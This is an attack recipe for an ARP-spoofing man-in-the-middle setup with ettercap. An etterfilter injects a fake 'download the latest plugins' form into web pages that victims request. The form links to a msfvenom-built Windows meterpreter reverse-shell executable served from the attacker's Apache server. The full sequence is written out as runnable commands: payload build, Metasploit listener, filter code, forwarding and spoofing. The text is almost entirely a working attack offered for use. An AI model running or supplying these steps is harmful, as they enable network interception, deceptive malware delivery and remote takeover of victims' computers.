packet manipulation (http)

# ---
# Author: r00t-3xp10it | 6-mar-2016
# ettercap filter to inject one payload into target webpage request
# 'under MitM attacks' replacing the html tag </title> by our code,
# befor sending the webpage requested to target machine!
# REMMENBER TO REPLACE THE 'IP ADDRESS' IN THIS EXAMPLE BY YOUR BOX 'IP ADDRESS'
# REMMENBER TO EDIT ETTER.DNS TO POINT TO mega-upload A 192.168.1.67 (redirect domain to your apache2)
# REMMENBER TO EDIT ETTER.DNS AND UN-COMMENT THE FIELD: 'if you use ip_tables'
# ---


# BUILD MSFVENOM BINARY PAYLOAD (.exe)
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=666 -f exe > /root/payload.exe


# START MULTI-HANDLER (listenner)
msf> use exploit/multi/handler
msf> set payload windows/meterpreter/reverse_tcp
msf> set LHOST 192.168.1.67
msf> set LPORT 666
msf> exploit


# IFRAME.EFT FILTER TO BE COMPILED
if (ip.proto == TCP && tcp.dst == 80) {

  if (search(DATA.data, "Accept-Encoding")) {
  replace("Accept-Encoding", "Accept-Nothing!");
  }
}

if (ip.proto == TCP && tcp.src == 80) {

if (search(DATA.data, "<title>")) {
replace("</title>", "</title><form action='http://192.168.1.67/payload.exe' method='link'><img src='http://192.168.1.67/image.gif'><INPUT TYPE='submit' value='DOWNLOAD_PLUGIN'></form><html><body><h10>You are unable to view some of the web page’s contents. You need to download the latest plugins to fix this issue.</h10></body></html>");

msg("malicious url injected into -> targets html request");
  }
}


# compile iframe.eft filter into iframe.ef
sudo etterfilter /root/iframe.eft -o /root/iframe.ef


# copy files to apache2 webroot
sudo cp /root/payload.exe /var/www/html
sudo cp /root/image.gif /var/www/html


# START APACHE2 SERVICE
/etc/init.d/apache2 start


# ip_forwarding
echo "1" > /proc/sys/net/ipv4/ip_forward


# run ettercap mitm+filter
sudo ettercap -T -q -i wlan0 -F /root/iframe.ef -M ARP /targetip/ /routerip/


# IF YOUR PC USES IPV6 THEN USE THIS CONFIG INSTEAD OF THE ABOVE CODE
# sudo ettercap -T -q -i wlan0 -F /root/iframe.ef -M ARP /targetip// /routerip//